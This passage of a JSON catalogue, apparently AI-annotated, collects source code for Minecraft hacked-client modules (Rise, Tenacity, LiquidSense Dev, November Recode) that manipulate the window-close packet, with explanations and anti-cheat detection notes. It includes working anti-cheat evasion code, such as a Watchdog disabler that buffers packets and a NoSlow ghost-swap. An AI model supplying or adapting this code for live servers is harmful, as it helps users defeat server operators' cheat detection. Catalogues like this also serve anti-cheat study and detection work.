};\n\n    @EventLink(value = Priorities.LOW)\n    public final Listener<PreUpdateEvent> onPreUpdate = event -> {\n        if (inventory.getValue() && !(getModule(Scaffold.class).isEnabled())) {\n            if ( tick > 0) {\n                BlinkComponent.dispatch();\n                mc.getNetHandler().getNetworkManager().sendUnregisteredPacket(new C0DPacketCloseWindow(mc.thePlayer.inventoryContainer.windowId));\n                tick = 0;\n            } else  {\n                BlinkComponent.dispatch();\n            }\n        }\n        else{\n            BlinkComponent.dispatch();\n        }\n\n        if((MoveUtil.enoughMovementForSprinting() || getModule(Speed.class).isEnabled())  && mc.gameSettings.keyBindBack.isKeyDown()){\n\n            RotationComponent.setRotations(new Vector2f((float) Math.toDegrees(MoveUtil.direction(forward, strafe) -(float) (Math.random() * 0.1f)), mc.thePlayer.rotationPitch),\n                    Math.random()*50, MovementFix.OFF);\n        }\n    };\n    @EventLink\n    private final Listener<PacketSendEvent> packetSendEventListener = event -> {\n        if (inventory.getValue() && !(getModule(Scaffold.class).isEnabled())) {\n            if (inventory.getValue()) {\n                if (event.getPacket() instanceof C0EPacketClickWindow && ((C0EPacketClickWindow) event.getPacket()).getWindowId() == mc.thePlayer.inventoryContainer.windowId && !(mc.currentScreen instanceof GuiInventory)) {\n                    BlinkComponent.blinking = true;\n                    tick++;\n                    event.setCancelled();\n                    mc.getNetHandler().getNetworkManager().sendUnregisteredPacket(new C16PacketClientStatus(C16PacketClientStatus.EnumState.OPEN_INVENTORY_ACHIEVEMENT));\n                    mc.getNetHandler().getNetworkManager().sendUnregisteredPacket(event.getPacket());\n\n\n                }\n            }\n\n        }\n\n\n\n\n\n\n    };\n\n    @Override\n    public void onDisable() {\n        NotificationComponent.post(\"Watchdog Disabler\",\"DO NOT DISABLE IN GAME OR YOU WILL BAN\");\n        if(time == 1){\n\n        }  else if(time == 2){\n\n        }\n    }\n\n    @EventLink\n    public final Listener<WorldChangeEvent> onWorldChange = event -> {\n        worldChange = 0;\n        if (ban.getValue() ) {\n            NotificationComponent.post(\"Watchdog Jump Disabler\", \"Disabling Jump check for Watchdog\", 5000);\n            jump = true;\n            set = false;\n            ticks = 0;\n        }\n    };\n\n\n}\n// NOTE (AI): sendUnregisteredPacket bypasses the client's own event bus, so the C0D cannot be cancelled by another module and its position in the stream is exactly controlled. The mode is the Watchdog Jump disabler with an inventory sub-feature.",
      "code_source": "Rise 6.2.4, Client-release2/Client/src/main/java/com/alan/clients/module/impl/exploit/disabler/WatchdogDisabler.java",
      "vanilla_hook": "PreUpdateEvent, PacketSendEvent; sendUnregisteredPacket for stealth.",
      "anti_cheat_notes": "The blink behavior is the risk: holding inventory packets and releasing them on a timer is a classic Watchdog flag; the C0D itself is incidental.",
      "variations": "Rise 6.1.30's WatchdogDisabler has the same C0D send at its line ~101; 6.2.4 moved it to line ~217 inside the ticked inventory branch."
     },
     {
      "name": "NoSlowModule",
      "found_in": [
       "Tenacity 6.0"
      ],
      "purpose": "Cancel the server-side slowdown while eating or using items by ghost-swapping the held item: close window 0 and shift-click the current slot back.",
      "how_it_works": "While using an item with no GUI open, sendBypass() pushes C0DPacketCloseWindow(0) then C0EPacketClickWindow(0, 36 + currentItem, 0, 6, null, nextTransactionID) into the send queue, setting isItemGhost. The S2FPacketSetSlot cancels on receive keep the ghost state invisible.",
      "detailed_code": "// ===== FILE: Tenacity 6.0, dev/tenacity/module/impl/movement/NoSlowModule.java =====\npackage dev.tenacity.module.impl.movement;\n\nimport dev.tenacity.event.Event;\nimport dev.tenacity.event.IEventListener;\nimport dev.tenacity.event.impl.packet.PacketReceiveEvent;\nimport dev.tenacity.event.impl.player.MotionEvent;\nimport dev.tenacity.event.impl.player.SlowDownEvent;\nimport dev.tenacity.module.Module;\nimport dev.tenacity.module.ModuleCategory;\nimport java.util.ArrayList;\nimport java.util.Arrays;\nimport dev.tenacity.setting.impl.ModeSetting;\nimport net.minecraft.item.ItemSword;\nimport net.minecraft.network.Packet;\nimport net.minecraft.network.play.client.C0DPacketCloseWindow;\nimport net.minecraft.network.play.client.C0EPacketClickWindow;\nimport net.minecraft.network.play.server.S2FPacketSetSlot;\nimport net.minecraft.world.gen.layer.GenLayerEdge;\n\npublic final class NoSlowModule extends Module {\n\n    private boolean isItemGhost;\n\n    private final ModeSetting mode = new ModeSetting(\"Mode\", \"Vanilla\", \"Watchdog\");\n\n    public NoSlowModule() {\n        super(\"NoSlow\", \"Makes you not take slow down\", ModuleCategory.MOVEMENT);\n        initializeSettings(mode);\n    }\n\n    private final IEventListener<SlowDownEvent> onSlowDownEvent = Event::cancel;\n\n    private final IEventListener<MotionEvent> onMotionEvent = event -> {\n        switch (mode.getCurrentMode()) {\n            case \"Vanilla\": {\n                if (event.isPre() && mc.thePlayer != null) {\n                    if (!isItemGhost)\n                        sendBypass();\n                    if (!mc.thePlayer.isUsingItem())\n                        isItemGhost = false;\n                }\n            }\n            case \"Watchdog\": {\n                if (mc.thePlayer.isUsingItem()) {\n                    if (mc.currentScreen == null && mc.thePlayer.getHeldItem() != null) {\n                    }\n                }\n                break;\n            }\n        }\n    };\n\n    private final IEventListener<PacketReceiveEvent> onPacketReceiveEvent = event -> {\n        if (event.getPacket() instanceof S2FPacketSetSlot && mc.thePlayer != null) {\n            final S2FPacketSetSlot s2f = (S2FPacketSetSlot) event.getPacket();\n            if (s2f.func_149175_c() == 0 && mc.thePlayer.isUsingItem() && mc.currentScreen == null && mc.thePlayer.getHeldItem() != null && !(mc.thePlayer.getHeldItem().getItem() instanceof ItemSword)) {\n                event.cancel();\n                //isItemGhost = false;\n            }\n        }\n    };\n\n    private void sendBypass() {\n        if (mc.thePlayer.isUsingItem() && mc.currentScreen == null && mc.thePlayer.getHeldItem() != null && !(mc.thePlayer.getHeldItem().getItem() instanceof ItemSword)) {\n            mc.getNetHandler().addToSendQueue(new C0DPacketCloseWindow(0));\n            mc.getNetHandler().addToSendQueue(new C0EPacketClickWindow(0, 36 + mc.thePlayer.inventory.currentItem, 0, 6, null, mc.thePlayer.inventoryContainer.getNextTransactionID(mc.thePlayer.inventory)));\n            isItemGhost = true;\n        }\n    }\n}\n// NOTE (AI): The C0D(0) plus C0E shift-click (mode 6) re-syncs the server's held-slot view while the use continues, which is what cancels the slowdown. The mode switch also shows a Watchdog variant that does nothing in this file.",
      "code_source": "Tenacity 6.0, dev/tenacity/module/impl/movement/NoSlowModule.java",
      "vanilla_hook": "MotionEvent pre and PacketReceiveEvent for S2FPacketSetSlot.",
      "anti_cheat_notes": "The close-click pair on window 0 is a recognized NoSlow signature; anti-cheats that correlate C0D(0) + C0E(0, slot, 6) with item use flag it.",
      "variations": "None in the corpus; Tenacity's PacketUtil also lists C0D among packet types that bypass its send queue."
     },
     {
      "name": "AutoArmor",
      "found_in": [
       "LiquidSense Dev"
      ],
      "purpose": "Close the server-side inventory after simulated shift-click armor swaps, so the open/close cycle completes without a visible GUI.",
      "how_it_works": "With SimulateInventory on and no GuiInventory open, move() sends C16 OPEN_INVENTORY_ACHIEVEMENT, runs playerController.windowClick, then sends an empty C0DPacketCloseWindow (default window 0) to close the window the server thinks opened. Hotbar slots are fake-equipped through C09/C08 instead of clicks.",
      "detailed_code": "// ===== FILE: LiquidSense Dev, net/ccbluex/liquidbounce/features/module/modules/combat/AutoArmor.java =====\n/*\n * LiquidBounce Hacked Client\n * A free open source mixin-based injection hacked client for Minecraft using Minecraft Forge.\n * https://github.com/CCBlueX/LiquidBounce/\n */\npackage net.ccbluex.liquidbounce.features.module.modules.combat;\n\nimport net.ccbluex.liquidbounce.event.EventTarget;\nimport net.ccbluex.liquidbounce.event.Render3DEvent;\nimport net.ccbluex.liquidbounce.features.module.Module;\nimport net.ccbluex.liquidbounce.features.module.ModuleCategory;\nimport net.ccbluex.liquidbounce.features.module.ModuleInfo;\nimport net.ccbluex.liquidbounce.injection.implementations.IItemStack;\nimport net.ccbluex.liquidbounce.utils.InventoryUtils;\nimport net.ccbluex.liquidbounce.utils.MovementUtils;\nimport net.ccbluex.liquidbounce.utils.item.ArmorComparator;\nimport net.ccbluex.liquidbounce.utils.item.ArmorPiece;\nimport net.ccbluex.liquidbounce.utils.timer.TimeUtils;\nimport net.ccbluex.liquidbounce.value.BoolValue;\nimport net.ccbluex.liquidbounce.value.IntegerValue;\nimport net.minecraft.client.gui.inventory.GuiInventory;\nimport net.minecraft.item.ItemArmor;\nimport net.minecraft.item.ItemStack;\nimport net.minecraft.network.play.client.C08PacketPlayerBlockPlacement;\nimport net.minecraft.network.play.client.C09PacketHeldItemChange;\nimport net.minecraft.network.play.client.C0DPacketCloseWindow;\nimport net.minecraft.network.play.client.C16PacketClientStatus;\n\nimport java.util.List;\nimport java.util.Map;\nimport java.util.stream.Collectors;\nimport java.util.stream.IntStream;\n\n@ModuleInfo(name = \"AutoArmor\", description = \"Automatically equips the best armor in your inventory.\", category = ModuleCategory.COMBAT)\npublic class AutoArmor extends Module {\n\n    public static final ArmorComparator ARMOR_COMPARATOR = new ArmorComparator();\n\n    private final IntegerValue maxDelayValue = new IntegerValue(\"MaxDelay\", 200, 0, 400) {\n        @Override\n        protected void onChanged(final Integer oldValue, final Integer newValue) {\n            final int minDelay = minDelayValue.get();\n\n            if (minDelay > newValue) set(minDelay);\n        }\n    };\n    private final IntegerValue minDelayValue = new IntegerValue(\"MinDelay\", 100, 0, 400) {\n\n        @Override\n        protected void onChanged(final Integer oldValue, final Integer newValue) {\n            final int maxDelay = maxDelayValue.get();\n\n            if (maxDelay < newValue) set(maxDelay);\n        }\n    };\n    private final BoolValue invOpenValue = new BoolValue(\"InvOpen\", false);\n    private final BoolValue simulateInventory = new BoolValue(\"SimulateInventory\", true);\n    private final BoolValue noMoveValue = new BoolValue(\"NoMove\", false);\n    private final IntegerValue itemDelayValue = new IntegerValue(\"ItemDelay\", 0, 0, 5000);\n    private final BoolValue hotbarValue = new BoolValue(\"Hotbar\", true);\n\n    private long delay;\n\n    @EventTarget\n    public void onRender3D(final Render3DEvent event) {\n        if ((mc.thePlayer.capabilities.allowFlying && mc.thePlayer.capabilities.isFlying) || !InventoryUtils.CLICK_TIMER.hasTimePassed(delay) ||\n                (mc.thePlayer.openContainer != null && mc.thePlayer.openContainer.windowId != 0))\n            return;\n\n        // Find best armor\n        final Map<Integer, List<ArmorPiece>> armorPieces = IntStream.range(0, 36).filter(i -> {\n                    final ItemStack itemStack = mc.thePlayer.inventory.getStackInSlot(i);\n\n                    return itemStack != null && itemStack.getItem() instanceof ItemArmor && (i < 9 || System.currentTimeMillis() - ((IItemStack) (Object) itemStack).getItemDelay() >= itemDelayValue.get());\n                })\n                .mapToObj(i -> new ArmorPiece(mc.thePlayer.inventory.getStackInSlot(i), i))\n                .collect(Collectors.groupingBy(ArmorPiece::getArmorType));\n\n        final ArmorPiece[] bestArmor = new ArmorPiece[4];\n\n        for (final Map.Entry<Integer, List<ArmorPiece>> armorEntry : armorPieces.entrySet()) {\n            bestArmor[armorEntry.getKey()] = armorEntry.getValue().stream()\n                    .max(ARMOR_COMPARATOR).orElse(null);\n        }\n\n        // Swap armor\n        for (int i = 0; i < 4; i++) {\n            final ArmorPiece armorPiece = bestArmor[i];\n\n            if (armorPiece == null)\n                continue;\n\n            int armorSlot = 3 - i;\n\n            final ArmorPiece oldArmor = new ArmorPiece(mc.thePlayer.inventory.armorItemInSlot(armorSlot), -1);\n\n            if (oldArmor.getItemStack() == null || !(oldArmor.getItemStack().getItem() instanceof ItemArmor) ||\n                    ARMOR_COMPARATOR.compare(oldArmor, armorPiece) < 0) {\n                if (oldArmor.getItemStack() != null && move(8 - armorSlot, true))\n                    return;\n\n                if (move(armorPiece.getSlot(), false))\n                    return;\n            }\n        }\n    }\n\n    /**\n     * Shift+Left clicks the specified item\n     *\n     * @param item        Slot of the item to click\n     * @param isArmorSlot\n     * @return True if it is unable to move the item\n     */\n    private boolean move(int item, boolean isArmorSlot) {\n        if (!isArmorSlot && item < 9 && hotbarValue.get()) {\n            mc.getNetHandler().addToSendQueue(new C09PacketHeldItemChange(item));\n            mc.getNetHandler().addToSendQueue(new C08PacketPlayerBlockPlacement(mc.thePlayer.inventoryContainer.getSlot(item).getStack()));\n            mc.getNetHandler().addToSendQueue(new C09PacketHeldItemChange(mc.thePlayer.inventory.currentItem));\n\n            delay = TimeUtils.randomDelay(minDelayValue.get(), maxDelayValue.get());\n\n            return true;\n        } else if (!(noMoveValue.get() && MovementUtils.isMoving()) && (!invOpenValue.get() || mc.currentScreen instanceof GuiInventory) && item != -1) {\n            final boolean openInventory = simulateInventory.get() && !(mc.currentScreen instanceof GuiInventory);\n\n            if (openInventory)\n                mc.getNetHandler().addToSendQueue(new C16PacketClientStatus(C16PacketClientStatus.EnumState.OPEN_INVENTORY_ACHIEVEMENT));\n\n            mc.playerController.windowClick(mc.thePlayer.inventoryContainer.windowId, isArmorSlot ? item : (item < 9 ? item + 36 : item), 0, 1, mc.thePlayer);\n\n            delay = TimeUtils.randomDelay(minDelayValue.get(), maxDelayValue.get());\n\n            if (openInventory)\n                mc.getNetHandler().addToSendQueue(new C0DPacketCloseWindow());\n\n            return true;\n        }\n        \n        return false;\n    }\n\n}\n// NOTE (AI): The C0D close at line 135 is paired with the C16 open at line 128; the ArmorComparator/stream logic above it is standard armor scoring.",
      "code_source": "LiquidSense Dev, net/ccbluex/liquidbounce/features/module/modules/combat/AutoArmor.java",
      "vanilla_hook": "Render3DEvent tick; send via mc.getNetHandler().addToSendQueue.",
      "anti_cheat_notes": "The C16-open + click + C0D-close triplet is the same shape InvMove modules produce, but here it is bounded to one short burst per swap, which reads as legitimate GUI use to servers that mirror container state.",
      "variations": "LiquidSense Dev's auto armor is the only one in the corpus that closes with a bare C0D() after faking the open; Sigma and Spicy use their own inventory managers."
     },
     {
      "name": "KeepContainer",
      "found_in": [
       "LiquidSense Dev"
      ],
      "purpose": "Reopen a previously closed container anywhere by cancelling the client's own C0D and keeping the cached GuiContainer around for an INSERT-key reopen.",
      "how_it_works": "ScreenEvent caches any GuiContainer (excluding GuiInventory); PacketEvent cancels every outgoing C0DPacketCloseWindow so the container object stays alive, and tracks S2EPacketCloseWindow to drop the cache when the server closes the window. onDisable sends a real C0D with the cached windowId as cleanup. Pressing INSERT re-displays the cached GUI.",
      "detailed_code": "// ===== FILE: LiquidSense Dev, net/ccbluex/liquidbounce/features/module/modules/exploit/KeepContainer.java =====\n/*\n * LiquidBounce Hacked Client\n * A free open source mixin-based injection hacked client for Minecraft using Minecraft Forge.\n * https://github.com/CCBlueX/LiquidBounce/\n */\npackage net.ccbluex.liquidbounce.features.module.modules.exploit;\n\nimport net.ccbluex.liquidbounce.event.EventTarget;\nimport net.ccbluex.liquidbounce.event.KeyEvent;\nimport net.ccbluex.liquidbounce.event.PacketEvent;\nimport net.ccbluex.liquidbounce.event.ScreenEvent;\nimport net.ccbluex.liquidbounce.features.module.Module;\nimport net.ccbluex.liquidbounce.features.module.ModuleCategory;\nimport net.ccbluex.liquidbounce.features.module.ModuleInfo;\nimport net.minecraft.client.gui.inventory.GuiContainer;\nimport net.minecraft.client.gui.inventory.GuiInventory;\nimport net.minecraft.network.play.client.C0DPacketCloseWindow;\nimport net.minecraft.network.play.server.S2EPacketCloseWindow;\nimport org.lwjgl.input.Keyboard;\n\n@ModuleInfo(name = \"KeepContainer\", description = \"Allows you to open a formerly closed inventory container everywhere. (Press INSERT Key to open)\", category = ModuleCategory.EXPLOIT)\npublic class KeepContainer extends Module {\n    private GuiContainer container;\n\n    @Override\n    public void onDisable() {\n        if(container != null)\n            mc.getNetHandler().addToSendQueue(new C0DPacketCloseWindow(container.inventorySlots.windowId));\n\n        container = null;\n    }\n\n    @EventTarget\n    public void onGui(final ScreenEvent event) {\n        if(event.getGuiScreen() instanceof GuiContainer && !(event.getGuiScreen() instanceof GuiInventory))\n            container = (GuiContainer) event.getGuiScreen();\n    }\n\n    @EventTarget\n    public void onKey(final KeyEvent event) {\n        if(event.getKey() == Keyboard.KEY_INSERT) {\n            if(container == null)\n                return;\n\n            mc.displayGuiScreen(container);\n        }\n    }\n\n    @EventTarget\n    public void onPacket(final PacketEvent event) {\n        if(event.getPacket() instanceof C0DPacketCloseWindow)\n            event.cancelEvent();\n\n        if(event.getPacket() instanceof S2EPacketCloseWindow) {\n            final S2EPacketCloseWindow packetCloseWindow = (S2EPacketCloseWindow) event.getPacket();\n\n            if(container != null && container.inventorySlots != null && packetCloseWindow.windowId == container.inventorySlots.windowId)\n                container = null;\n        }\n    }\n}\n// NOTE (AI): The cancel-all-C0D approach is what makes the reopen trick possible; the S2E listener is the server-side close signal.",
      "code_source": "LiquidSense Dev, net/ccbluex/liquidbounce/features/module/modules/exploit/KeepContainer.java",
      "vanilla_hook": "ScreenEvent, KeyEvent, PacketEvent (send and receive sides).",
      "anti_cheat_notes": "Cancelling C0D is the same state-consistency flag as InvMove: the server never sees the window close while the player moves. The S2E tracking keeps the local container in sync so a server-initiated close does not desync the cache.",
      "variations": "No equivalent reopen-container module in the other clients; Rise 6.x buffers C0D in blink queues instead."
     },
     {
      "name": "InventoryUtils",
      "found_in": [
       "November Recode 2.0"
      ],
      "purpose": "Utility closeCurrentInventory() that sends C0D with the live windowId, used by November's inventory manager and modules to close the server-side window after silent interactions.",
      "how_it_works": "closeCurrentInventory() pushes new C0DPacketCloseWindow(windowId()) into mc.thePlayer.sendQueue; windowId() reads the player's openContainer and returns 0 when null. A companion openInventory() sends C0B OPEN_INVENTORY for the paired open.",
      "detailed_code": "// ===== FILE: November Recode 2.0, utility/player/InventoryUtils.java =====\n/* November.lol © 2023 */\npackage lol.november.utility.player;\n\nimport com.google.common.collect.Lists;\nimport java.util.List;\nimport net.minecraft.block.Block;\nimport net.minecraft.client.Minecraft;\nimport net.minecraft.enchantment.Enchantment;\nimport net.minecraft.enchantment.EnchantmentHelper;\nimport net.minecraft.init.Blocks;\nimport net.minecraft.init.Items;\nimport net.minecraft.inventory.Container;\nimport net.minecraft.item.*;\nimport net.minecraft.network.play.client.C0BPacketEntityAction;\nimport net.minecraft.network.play.client.C0BPacketEntityAction.Action;\nimport net.minecraft.network.play.client.C0DPacketCloseWindow;\nimport net.minecraft.potion.Potion;\n\n/**\n * @author Gavin\n * @since 2.0.0\n */\npublic class InventoryUtils {\n\n  /**\n   * A list of good items\n   */\n  private static final List<Item> goodItems = Lists.newArrayList(\n    Items.golden_apple,\n    Items.apple,\n    Items.cooked_beef,\n    Items.cooked_chicken,\n    Items.cooked_fish,\n    Items.cooked_mutton,\n    Items.cooked_porkchop,\n    Items.cooked_rabbit,\n    Items.cookie,\n    Items.snowball,\n    Items.egg,\n    Items.rabbit_stew,\n    Items.mushroom_stew,\n    Items.ender_pearl,\n    Items.arrow,\n    Items.bow,\n    Items.water_bucket,\n    Items.lava_bucket\n  );\n\n  /**\n   * A list of useless blocks\n   * i want to kms\n   */\n  private static final List<Block> uselessBlocks = Lists.newArrayList(\n    Blocks.stone_button,\n    Blocks.wooden_button,\n    Blocks.stone_pressure_plate,\n    Blocks.wooden_pressure_plate,\n    Blocks.light_weighted_pressure_plate,\n    Blocks.heavy_weighted_pressure_plate,\n    Blocks.dragon_egg,\n    Blocks.brewing_stand,\n    Blocks.chest,\n    Blocks.ender_chest,\n    Blocks.enchanting_table,\n    Blocks.cake,\n    Blocks.flower_pot,\n    Blocks.yellow_flower,\n    Blocks.red_flower,\n    Blocks.tallgrass,\n    Blocks.anvil,\n    Blocks.double_plant,\n    Blocks.sand,\n    Blocks.gravel,\n    Blocks.tripwire,\n    Blocks.tripwire_hook,\n    Blocks.carpet,\n    Blocks.unpowered_repeater,\n    Blocks.powered_repeater,\n    Blocks.redstone_wire,\n    Blocks.torch,\n    Blocks.redstone_torch,\n    Blocks.red_mushroom,\n    Blocks.brown_mushroom,\n    Blocks.lever,\n    Blocks.unlit_redstone_torch,\n    Blocks.bed,\n    Blocks.snow_layer,\n    Blocks.skull,\n    Blocks.stone_slab,\n    Blocks.stone_slab2,\n    Blocks.wooden_slab,\n    Blocks.trapdoor,\n    Blocks.iron_trapdoor,\n    Blocks.spruce_door,\n    Blocks.iron_trapdoor,\n    Blocks.oak_door,\n    Blocks.dark_oak_door,\n    Blocks.jungle_door,\n    Blocks.birch_door,\n    Blocks.acacia_door,\n    Blocks.golden_rail,\n    Blocks.detector_rail,\n    Blocks.rail,\n    Blocks.activator_rail,\n    Blocks.hopper,\n    Blocks.unpowered_comparator,\n    Blocks.powered_comparator\n  );\n\n  /**\n   * Enchantments used on pieces of armor\n   */\n  private static final List<Enchantment> protectionEnchantments =\n    Lists.newArrayList(\n      Enchantment.protection,\n      Enchantment.projectileProtection,\n      Enchantment.blastProtection,\n      Enchantment.fireProtection\n    );\n\n  /**\n   * A list of good potions\n   */\n  public static final List<Potion> validPotions = Lists.newArrayList(\n    Potion.fireResistance,\n    Potion.heal,\n    Potion.healthBoost,\n    Potion.moveSpeed,\n    Potion.digSpeed,\n    Potion.invisibility,\n    Potion.damageBoost,\n    Potion.regeneration,\n    Potion.resistance,\n    Potion.waterBreathing,\n    Potion.nightVision,\n    Potion.jump\n  );\n\n  /**\n   * Enchantments commonly on tools\n   */\n  private static final List<Enchantment> toolEnchantments = Lists.newArrayList(\n    Enchantment.unbreaking,\n    Enchantment.silkTouch,\n    Enchantment.fortune,\n    Enchantment.efficiency\n  );\n\n  private static final Minecraft mc = Minecraft.getMinecraft();\n\n  /**\n   * Spoofs open your inventory\n   */\n  public static void openInventory() {\n    mc.thePlayer.sendQueue.addToSendQueue(\n      new C0BPacketEntityAction(mc.thePlayer, Action.OPEN_INVENTORY)\n    );\n  }\n\n  /**\n   * Closes the current inventory\n   */\n  public static void closeCurrentInventory() {\n    mc.thePlayer.sendQueue.addToSendQueue(new C0DPacketCloseWindow(windowId()));\n  }\n\n  /**\n   * Gets the window ID of the container you're in\n   *\n   * @return the window id of the container you're in\n   */\n  public static int windowId() {\n    Container container = mc.thePlayer.openContainer;\n    return container == null ? 0 : container.windowId;\n  }\n\n  /**\n   * \"Fixes\" a slot to be used in a window click packet\n   *\n   * @param slot the slot index\n   * @return the packet slot\n   */\n  public static int fix(int slot) {\n    return slot < 9 ? slot + 36 : slot;\n  }\n\n  /**\n   * Checks if the block is useless\n   *\n   * @param block the block\n   * @return if it is useless (lol)\n   */\n  public static boolean blockUseless(Block block) {\n    return uselessBlocks.contains(block);\n  }\n\n  /**\n   * Checks if an item is useful\n   *\n   * @param item the item\n   * @return if the item is useful\n   */\n  public static boolean useful(Item item) {\n    if (item instanceof ItemBlock) {\n      Block block = ((ItemBlock) item).getBlock();\n      return !uselessBlocks.contains(block);\n    }\n\n    return goodItems.contains(item);\n  }\n\n  /**\n   * \"Scores\" an {@link ItemStack}\n   *\n   * @param itemStack the item stack\n   * @return a score as a float\n   */\n  public static float score(ItemStack itemStack) {\n    if (itemStack == null || itemStack.getItem() == null) return 0.0f;\n\n    if (itemStack.getItem() instanceof ItemArmor itemArmor) {\n      float score = itemArmor.damageReduceAmount;\n\n      for (Enchantment enchantment : protectionEnchantments) {\n        score +=\n          EnchantmentHelper.getEnchantmentLevel(\n            enchantment.effectId,\n            itemStack\n          ) *\n          0.75f;\n      }\n\n      score +=\n        EnchantmentHelper.getEnchantmentLevel(\n          Enchantment.unbreaking.effectId,\n          itemStack\n        ) *\n        0.5f;\n\n      return score;\n    } else if (itemStack.getItem() instanceof ItemSword sword) {\n      float score = 4.0f + sword.getDamageVsEntity();\n\n      score +=\n        EnchantmentHelper.getEnchantmentLevel(\n          Enchantment.unbreaking.effectId,\n          itemStack\n        ) *\n        0.5f;\n      score +=\n        EnchantmentHelper.getEnchantmentLevel(\n          Enchantment.fireAspect.effectId,\n          itemStack\n        ) *\n        0.5f;\n      score +=\n        EnchantmentHelper.getEnchantmentLevel(\n          Enchantment.sharpness.effectId,\n          itemStack\n        ) *\n        0.5f;\n\n      return score;\n    } else if (itemStack.getItem() instanceof ItemTool tool) {\n      Block block = null;\n      if (tool instanceof ItemPickaxe) {\n        block = Blocks.stone;\n      } else if (tool instanceof ItemAxe) {\n        block = Blocks.log;\n      } else if (tool instanceof ItemSpade) {\n        block = Blocks.grass;\n      }\n\n      float score = block == null\n        ? tool.getDamageVsEntity()\n        : tool.getStrVsBlock(itemStack, Blocks.stone);\n\n      for (Enchantment enchantment : toolEnchantments) {\n        score +=\n          EnchantmentHelper.getEnchantmentLevel(\n            enchantment.effectId,\n            itemStack\n          ) *\n          0.75f;\n      }\n\n      return score;\n    } else if (itemStack.getItem() instanceof ItemHoe) {\n      float score = itemStack\n        .getItem()\n        .getStrVsBlock(itemStack, Blocks.hay_block);\n\n      for (Enchantment enchantment : toolEnchantments) {\n        score +=\n          EnchantmentHelper.getEnchantmentLevel(\n            enchantment.effectId,\n            itemStack\n          ) *\n          0.75f;\n      }\n\n      return score;\n    } else if (itemStack.getItem() instanceof ItemBow) {\n      float score = 1.0f;\n\n      score +=\n        EnchantmentHelper.getEnchantmentLevel(\n          Enchantment.knockback.effectId,\n          itemStack\n        ) *\n        0.75f;\n      score +=\n        EnchantmentHelper.getEnchantmentLevel(\n          Enchantment.flame.effectId,\n          itemStack\n        ) *\n        0.75f;\n      score +=\n        EnchantmentHelper.getEnchantmentLevel(\n          Enchantment.punch.effectId,\n          itemStack\n        ) *\n        0.75f;\n\n      return score;\n    }\n\n    return 1.0f;\n  }\n}\n// NOTE (AI): The C0D send is the closeCurrentInventory method; windowId() resolves the real container id instead of hardcoding 0.",
      "code_source": "November Recode 2.0, utility/player/InventoryUtils.java",
      "vanilla_hook": "No event hook; a static helper called from inventory code paths.",
      "anti_cheat_notes": "Using the live windowId keeps the close packet valid for whatever container is open, which avoids the stale-id edge cases of hardcoded C0D(0).",
      "variations": ""
     },
     {
      "name": "LuaEventPacket",
      "found_in": [
       "November Recode 2.0"
      ],
      "purpose": "Expose C0D to November's Lua scripting API as id 0x0D with a direction, letting scripts intercept window closes.",
      "how_it_works": "The static packetIds table maps C0DPacketCloseWindow.class to 0x0D; the wrapper constructor copies id and direction ('out' for serverbound) from the EventPacket so Lua scripts can match on the numeric id.",
      "detailed_code": "// ===== FILE: November Recode 2.0, scripting/wrapper/event/LuaEventPacket.java =====\n/* November.lol © 2023 */\npackage lol.november.scripting.wrapper.event;\n\nimport java.util.HashMap;\nimport java.util.Map;\nimport lol.november.listener.event.net.EventPacket;\nimport lol.november.protect.DontObfuscate;\nimport lombok.Getter;\nimport lombok.Setter;\nimport net.minecraft.network.Packet;\nimport net.minecraft.network.play.client.*;\n\n/**\n * @author Gavin\n * @since 2.0.0\n */\n@Getter\n@Setter\n@DontObfuscate\npublic class LuaEventPacket {\n\n  /**\n   * A map of each {@link Packet} to their id\n   */\n  private static final Map<Class<? extends Packet<?>>, Integer> packetIds =\n    new HashMap<>();\n\n  static {\n    // you may ask: why not use reflection and just.. do a funny?\n    // obfuscation eventually happens so this aids has to happen\n\n    packetIds.put(C0APacketAnimation.class, 0x0A);\n    packetIds.put(C0BPacketEntityAction.class, 0x0B);\n    packetIds.put(C0CPacketInput.class, 0x0C);\n    packetIds.put(C0DPacketCloseWindow.class, 0x0D);\n    packetIds.put(C0EPacketClickWindow.class, 0x0E);\n    packetIds.put(C0FPacketConfirmTransaction.class, 0x0F);\n    packetIds.put(C00PacketKeepAlive.class, 0x00);\n    packetIds.put(C01PacketChatMessage.class, 0x01);\n    packetIds.put(C02PacketUseEntity.class, 0x02);\n    packetIds.put(C03PacketPlayer.class, 0x03);\n    packetIds.put(C03PacketPlayer.C04PacketPlayerPosition.class, 0x04);\n    packetIds.put(C03PacketPlayer.C05PacketPlayerLook.class, 0x05);\n    packetIds.put(C03PacketPlayer.C06PacketPlayerPosLook.class, 0x06);\n    packetIds.put(C07PacketPlayerDigging.class, 0x07);\n    packetIds.put(C08PacketPlayerBlockPlacement.class, 0x08);\n    packetIds.put(C09PacketHeldItemChange.class, 0x09);\n    packetIds.put(C10PacketCreativeInventoryAction.class, 0x10);\n    packetIds.put(C11PacketEnchantItem.class, 0x11);\n    packetIds.put(C12PacketUpdateSign.class, 0x12);\n    packetIds.put(C13PacketPlayerAbilities.class, 0x13);\n    packetIds.put(C14PacketTabComplete.class, 0x14);\n    packetIds.put(C15PacketClientSettings.class, 0x15);\n    packetIds.put(C16PacketClientStatus.class, 0x16);\n    packetIds.put(C17PacketCustomPayload.class, 0x17);\n    packetIds.put(C18PacketSpectate.class, 0x18);\n    packetIds.put(C19PacketResourcePackStatus.class, 0x19);\n  }\n\n  private final int packet;\n  private final String direction;\n\n  public LuaEventPacket(EventPacket event) {\n    packet = packetIds.getOrDefault(event.get().getClass(), -1);\n    direction = event.get() instanceof EventPacket.Out ? \"out\" : \"in\";\n  }\n}\n// NOTE (AI): C0D is registered as 0x0D alongside the other serverbound play packets.",
      "code_source": "November Recode 2.0, scripting/wrapper/event/LuaEventPacket.java",
      "vanilla_hook": "EventPacket.Out through the scripting bridge.",
      "anti_cheat_notes": "None; read-only mapping.",
      "variations": ""
     }
    ],
    "general_hooks": "PacketSendEvent on all clients. Rise 6.x pairs it with BlinkComponent.dispatch and the sendUnregisteredPacket raw path. Tenacity's PacketUtil counts C0D among packet types that bypass the send queue filter.",
    "client_variations": "Classic clients cancel via event.cancel() or setCancelled. Rise 5.99 re-sends rewrapped packets via PacketUtil.sendPacketWithoutEvent. Rise 6.x distinguishes send (event bus) from sendUnregisteredPacket (raw NetworkManager). Spicy tracks open state and emits C0D from module methods rather than event interception. LiquidSense Dev sends C0D via mc.getNetHandler().addToSendQueue (bare constructor) and cancels it via PacketEvent.cancelEvent; November Recode 2.0 closes with the resolved windowId through InventoryUtils and exposes 0x0D to scripts.",
    "related": [
     "S2DPacketOpenWindow",
